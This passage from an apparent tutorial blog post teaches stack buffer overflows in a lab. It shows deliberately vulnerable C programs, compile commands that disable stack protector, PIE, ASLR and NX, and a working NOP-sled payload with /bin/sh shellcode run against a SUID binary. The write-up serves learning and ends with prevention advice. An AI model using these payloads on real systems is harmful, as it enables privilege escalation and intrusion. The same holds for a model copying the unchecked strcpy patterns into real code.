&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9tuomo6i8y8hjxylai1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9tuomo6i8y8hjxylai1.webp" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are 28 bytes between the two variables. That means that we need a password with 29 characters. The first 28 to fill the space between the variables, and the last one to overwrite the &lt;code&gt;auth_flag&lt;/code&gt;. We need it to be different to 0. For example, “a” should overwrite the &lt;code&gt;auth_flag&lt;/code&gt;value with its ASCII decimal value (97). We can see that in action by placing a couple of breakpoints. One before the &lt;code&gt;strcpy&lt;/code&gt; and one after.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs6zhabbyvz6fr6rt26la.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs6zhabbyvz6fr6rt26la.webp" width="800" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That’s it! We got the “Access Granted” message.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w7vxdzj1dlukmxar27j.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w7vxdzj1dlukmxar27j.webp" width="677" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overwrite return address
&lt;/h2&gt;

&lt;p&gt;The first example is limited, right? We can do something interesting only if the variable we want to overwrite is stored in the stack before the one we are using to exploit it. What could we do if the variable is not there or appears after? The idea in that situation is to overwrite the return address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int check_authentication(char *password) {
  char password_buffer[16];

  strcpy(password_buffer, password);

  int auth_flag = 0;
  if(strcmp(password_buffer, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_buffer, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
  if(argc &amp;lt; 2) {
    printf("Usage: %s &amp;lt;password&amp;gt;\n", argv[0]);
    exit(0);
  }
  if(check_authentication(argv[1])) {
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf(" Access Granted.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  } else {
    printf("\nAccess Denied.\n");
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First, compile it without security protections and debug symbols. Here we added the &lt;code&gt;no-pie&lt;/code&gt; option. PIE stands for Position Independent Executable. If enabled, the executable will be loaded in a different memory address every time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc auth_overflow2.c -o auth_overflow2 -fno-stack-protector -no-pie -g
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, where is the return address? How can we overwrite it? As in the first example, gdb is our friend. We can put a breakpoint inside&lt;code&gt;check_authentication&lt;/code&gt;, run and execute &lt;code&gt;info frame&lt;/code&gt;. The &lt;code&gt;rip&lt;/code&gt; register contains the return address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftl3tsfvhtmonoqdhocgw.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftl3tsfvhtmonoqdhocgw.webp" width="800" height="197"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point, it’s a matter of trying several passwords until we find the number of bytes till the &lt;code&gt;rip&lt;/code&gt; register. Same procedure as in the first example. Writing a password with 40 “a” and 3 “b” will overwrite the &lt;code&gt;rip&lt;/code&gt; with the ASCII value of “bbb” (0x626262).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi1ikne000rmxgpzanx4n.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi1ikne000rmxgpzanx4n.webp" width="800" height="323"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That’s cool, but we want to overwrite the &lt;code&gt;rip&lt;/code&gt; to change the code flow and show us the “Access Granted” message. We can disassemble the main function to see where the &lt;code&gt;print&lt;/code&gt; functions are and get the memory address for the first &lt;code&gt;print&lt;/code&gt;. The +86 memory address points to the conditional before the prints. We can take the next address. If PIE was enabled, this wouldn’t be that easy. The address would change every time we run it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2uwk8ribkvy3n489g0yy.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2uwk8ribkvy3n489g0yy.webp" width="800" height="697"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Replacing “bbb” with “&lt;code&gt;\x&lt;/code&gt;{=latex}7f&lt;code&gt;\x12&lt;/code&gt;{=latex}&lt;code&gt;\x40&lt;/code&gt;{=latex}” gives us the “Access Granted” message. We add the memory address in reverse because my machine uses Little Endian.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8bnyzgcyrhv7hcggjf9c.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8bnyzgcyrhv7hcggjf9c.webp" width="800" height="121"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Get shell
&lt;/h2&gt;

&lt;p&gt;The second example was a bit more interesting, but still limited. In this final example, we are going to see how to get access to a shell.&lt;/p&gt;

&lt;p&gt;We have two small programs. The first program creates notes in “/var/notes”. root must own the executable and have the SUID activated. That way, we can execute it with normal users as if it was root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include "hacking.h"

void usage(char *prog_name, char *filename)
{
  printf("Usage: %s &amp;lt;data to add to %s&amp;gt;\n", prog_name, filename);
  exit(0);
}

void fatal(char *); // A function for fatal errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper

int main(int argc, char *argv[])
{
  int userid, fd; // File descriptor
  char *buffer, *datafile;

  buffer = (char *)ec_malloc(100);
  datafile = (char *)ec_malloc(20);
  strcpy(datafile, "/var/notes");

  if (argc &amp;lt; 2) // If there aren't command-line arguments,
    usage(argv[0], datafile); // display usage message and exit.

  strcpy(buffer, argv[1]); // Copy into buffer.

  printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
  printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

  // Opening the file
  fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
  if (fd == -1)
    fatal("in main() while opening file");
  printf("[DEBUG] file descriptor is %d\n", fd);

  userid = getuid(); // Get the real user ID.

  // Writing data
  if (write(fd, &amp;amp;userid, 4) == -1) // Write user ID before note data.
    fatal("in main() while writing userid to file");
  write(fd, "\n", 1); // Terminate line.
  if (write(fd, buffer, strlen(buffer)) == -1) // Write note.
    fatal("in main() while writing buffer to file");

  write(fd, "\n", 1); // Terminate line.
  // Closing file
  if (close(fd) == -1)
    fatal("in main() while closing file");
  printf("Note has been saved.\n");
  free(buffer);
  free(datafile);
}

gcc notetaker.c -o notetaker -g
sudo chown root:root notetaker
sudo chmod u+s notetaker
./notetaker "example message"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second program, the vulnerable one, is used to search notes for the current user. Optionally, we can show only the messages that contain a specific string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char *, char *); // Search for keyword function.
void fatal(char *); // Fatal error handler

int main(int argc, char *argv[])
{
  int userid, printing = 1, fd; // File descriptor
  char searchstring[100];
  if (argc &amp;gt; 1) // If there is an arg,
    strcpy(searchstring, argv[1]); // that is the search string;
  else // otherwise,
    searchstring[0] = 0; // search string is empty.
  userid = getuid();
  fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
  if (fd == -1)
    fatal("in main() while opening file for reading");
  printf("%i", printing);
  while (printing)
    printing = print_notes(fd, userid, searchstring);
  printf("-------[end of note data]-------\n");
  close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string;
// returns 0 at end of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring)
{
  int note_length;
  char byte = 0, note_buffer[100];
  note_length = find_user_note(fd, uid);
  if (note_length == -1) // If end of file reached,
    return 0; // return 0.
  read(fd, note_buffer, note_length); // Read note data.
  note_buffer[note_length] = 0; // Terminate the string.
  if (search_note(note_buffer, searchstring)) // If searchstring found,
    printf(note_buffer); // print the note.
  return 1;
}

// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid)
{
  int note_uid = -1;
  unsigned char byte;
  int length;
  while (note_uid != user_uid)
    { // Loop until a note for user_uid is found.
      if (read(fd, &amp;amp;note_uid, 4) != 4) // Read the uid data.
        return -1; // If 4 bytes aren't read, return end of file code.
      if (read(fd, &amp;amp;byte, 1) != 1) // Read the newline separator.
        return -1;
      byte = length = 0;
      while (byte != '\n')
        { // Figure out how many bytes to the end of line.
          if (read(fd, &amp;amp;byte, 1) != 1) // Read a single byte.
            return -1; // If byte isn't read, return end of file code.
          length++;
        }
    }
  lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.
  printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
  return length;
}

// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword)
{
  int i, keyword_length, match = 0;
  keyword_length = strlen(keyword);
  if (keyword_length == 0) // If there is no search string,
    return 1; // always "match".
  for (i = 0; i &amp;lt; strlen(note); i++)
    { // Iterate over bytes in note.
      if (note[i] == keyword[match]) // If byte matches keyword,
        match++; // get ready to check the next byte;
      else
        { // otherwise,
          if (note[i] == keyword[0]) // if that byte matches first keyword byte,
            match = 1; // start the match count at 1.
          else
            match = 0; // Otherwise it is zero.
        }
      if (match == keyword_length) // If there is a full match,
        return 1; // return matched.
    }
  return 0; // Return not matched.
}

gcc notesearch.c -o notesearch -fno-stack-protector -no-pie -g
sudo chown root:root notesearch
sudo chmod u+s notesearch
./notesearch "example"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We need to disable the Adress Space Layout Randomization (ASLR) to avoid random memory addreses.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You may be wondering if ASLR and PIE do the same. Both disable the randomization of memory addresses for executables. That’s true. However, they randomize different things. ASLR is a kernel protection feature, and it has three levels in Linux:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter (in Linux).&lt;/li&gt;
&lt;li&gt;Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.&lt;/li&gt;
&lt;li&gt;Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;PIE is a binary protection feature that places the “code segment”, the “global offset table” and their “procedure linkage table” at random locations.&lt;/p&gt;

&lt;p&gt;The last security protection we need to &lt;a href="https://superuser.com/a/1385242" rel="noopener noreferrer"&gt;disable is the NX bit&lt;/a&gt;. That will make the stack executable. In other words, we will be able to execute the shellcode.&lt;/p&gt;

&lt;p&gt;Let’s take a step back. Where is the vulnerability? The notetaker &lt;code&gt;main&lt;/code&gt;function calls &lt;code&gt;strcpy&lt;/code&gt;. Again, there’s no control over the length of the copied data. The high-level idea is the same as in the last exercise. We want to overwrite the return address to take control of the flow. The way to find it is the same. However, the payload is structured differently. We aren’t going to send a bunch of “a” followed by a memory address in the executable. We want to build a payload that looks like: “NOP sled, shellcode, some more NOP operations, NOP sled address”. Let me explain each part.&lt;/p&gt;

&lt;p&gt;First, we have the “NOP sled”. A NOP is a no-operation instruction that CPUs include for timing purposes, among other things. In our case, we use them to force the computer to slide into the shellcode we introduced in the stack. Theoretically, you could do it without the aid of a “NOP sled”, but it becomes much harder. You will have problems with memory alignment and other low-level stuff that I lack knowledge of. Moreover, the compiler is picky and won’t allow you to execute the shellcode from whatever memory address you want.&lt;/p&gt;

&lt;p&gt;Then, we have the shellcode. A small piece of code built in assembler to execute some code. In that example, to give us access to a shell.&lt;/p&gt;

&lt;p&gt;Following the shellcode, we find some more NOP operations. Sometimes, shellcodes need to write some bytes after themselves. The compiler can complain about that. These NOP operations will help us.&lt;/p&gt;

&lt;p&gt;The last part is the return address. We will overwrite it with a memory address where the NOP sled is located.&lt;/p&gt;

&lt;p&gt;That’s it for the structure. Coming back to the exploit, on my first try I used a “NOP sled, shellcode, NOP sled address” structure. It didn’t work for multiple reasons. NX bit wasn’t disabled and ASLR wasn’t disabled.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe6ewx4tdlu5al8khadqd.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe6ewx4tdlu5al8khadqd.webp" width="800" height="431"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After disabling them, the issue was creating the correct payload. Sometimes, the execution failed with a SEGFAULT and sometimes with a SIGILL. Trying a myriad of different payload structures and lengths for the NOP operations, I finally crafted a payload that worked using gdb.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzgwv8dywzxsthxhwhuog.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzgwv8dywzxsthxhwhuog.webp" width="800" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This payload doesn’t work outside gdb. The environment in which we execute the exploit can modify the position of the variables in the stack. For example, the environment variables used on gdb differ from the ones on the shell. To circumvent that issue, we can pass the environment variables to gdb.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;env gdb notesearch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The path from where you execute the exploit is also relevant.&lt;code&gt;./notesearch $(perl -e 'print "\x90" x 57, "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05", "\x90" x 40, "\x90\xe3\xff\xff\xff\x7f\x00\x00"')&lt;/code&gt;didn’t work for me, while&lt;code&gt;~/Desktop/overflow/notesearch $(perl -e 'print "\x90" x 57, "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05", "\x90" x 40, "\x90\xe3\xff\xff\xff\x7f\x00\x00"')&lt;/code&gt;worked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuyl4wwkue6k8hdtv6015.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuyl4wwkue6k8hdtv6015.webp" width="800" height="113"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That’s it!!! We got our shell. In theory, we should get root access due to the SUID permissions. However, some shells now throw SUID permissions when spawning new shells from a process with SUID to avoid this kind of attacks. More stuff to learn in the future!&lt;/p&gt;

&lt;h1&gt;
  
  
  How can we prevent buffer overflows?
&lt;/h1&gt;

&lt;p&gt;DON’T COPY DATA WITHOUT CHECKING THE LENGTH!&lt;/p&gt;

&lt;p&gt;Most people forget to do that, so luckily, there are some security features that mitigate the attack. We have seen a some of them during the exercise: canaries, PIE, ASLR or NX bit.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Now we know what a stack based buffer overflow is, why it works, how to exploit it and some protections mechanisms. We don’t have an execuse to avoid them.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
